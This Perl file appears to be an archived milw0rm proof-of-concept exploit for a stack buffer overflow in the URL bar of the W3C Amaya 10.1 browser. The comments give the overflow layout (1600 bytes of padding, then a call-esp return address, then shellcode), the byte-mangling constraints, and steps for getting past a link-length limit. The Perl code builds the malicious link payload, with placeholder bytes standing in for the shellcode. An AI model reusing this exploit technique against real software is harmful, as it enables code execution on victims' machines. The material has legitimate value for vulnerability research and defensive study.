477bcbdcc0
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55 lines
1.9 KiB
Perl
Executable file
55 lines
1.9 KiB
Perl
Executable file
# W3C Amaya 10.1 Web Browser
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#
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# Amaya (URL Bar) Remote Stack Overflow Vulnerability
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#
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# Written and discovered by:
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# r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)
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#
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# Advisory: http://www.bmgsec.com.au/advisory/40/
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# ------------------------------------------------------
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#
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# Shellcode notes:
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# The application fails to correctly process certain bytes:
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# 0x9c becomes 0x9cc2
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# Similar events occur with different bytes (0xf8, 0xfb, 0xbe, 0x93, 0xab, 0xaf 0xeb).
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#
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# After reviewing the source code, the below function modifies the
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# shellcode:
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# Line 902: int TtaWCToMBstring (wchar_t src, unsigned char **dest)
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#
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# The max value which can be used is 0x1fffff <-- Thanks Luigi!
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# ------------------------------------------------------
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#
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# The URL bar contains a buffer overflow vulnerability:
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# buffer length: 1600 bytes
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#
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# [junk] + [eip] + [shellcode]
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# 1600 + 4 + sizeof(shellcode)
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#
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# ESP points to data after EIP.
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#
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# I found it difficult to access the URL bar via HTML code. For example, compile the above code,
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# write it to a HTML file, then load it into the browser. Attempt to click the link and
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# you will notice there is a 800 character limit on the link.
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#
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# To bypass this problem click the link then select "Links" >> "Create or change link...".
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# Now click "Confirm". Alternatively just copy the payload into the URL bar.
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#
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# URL Bar Proof of concept:
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# ----------------------------------------------------
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#!/usr/bin/perl
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use warnings;
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use strict;
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my $shellcode = 'C' x 80;
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# 0x7D035F53 -> \x53\x5f\x03\x7d <-- Bingo! (call esp)
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my $data = '<a href="' .
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'A' x 1600 .
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"\x53\x5f\x03\x7d" . # eip (ESP points to stuff after RET, so shellcode)
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$shellcode .
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'">r0ut3r</a>';
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print $data;
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# milw0rm.com [2008-11-24]
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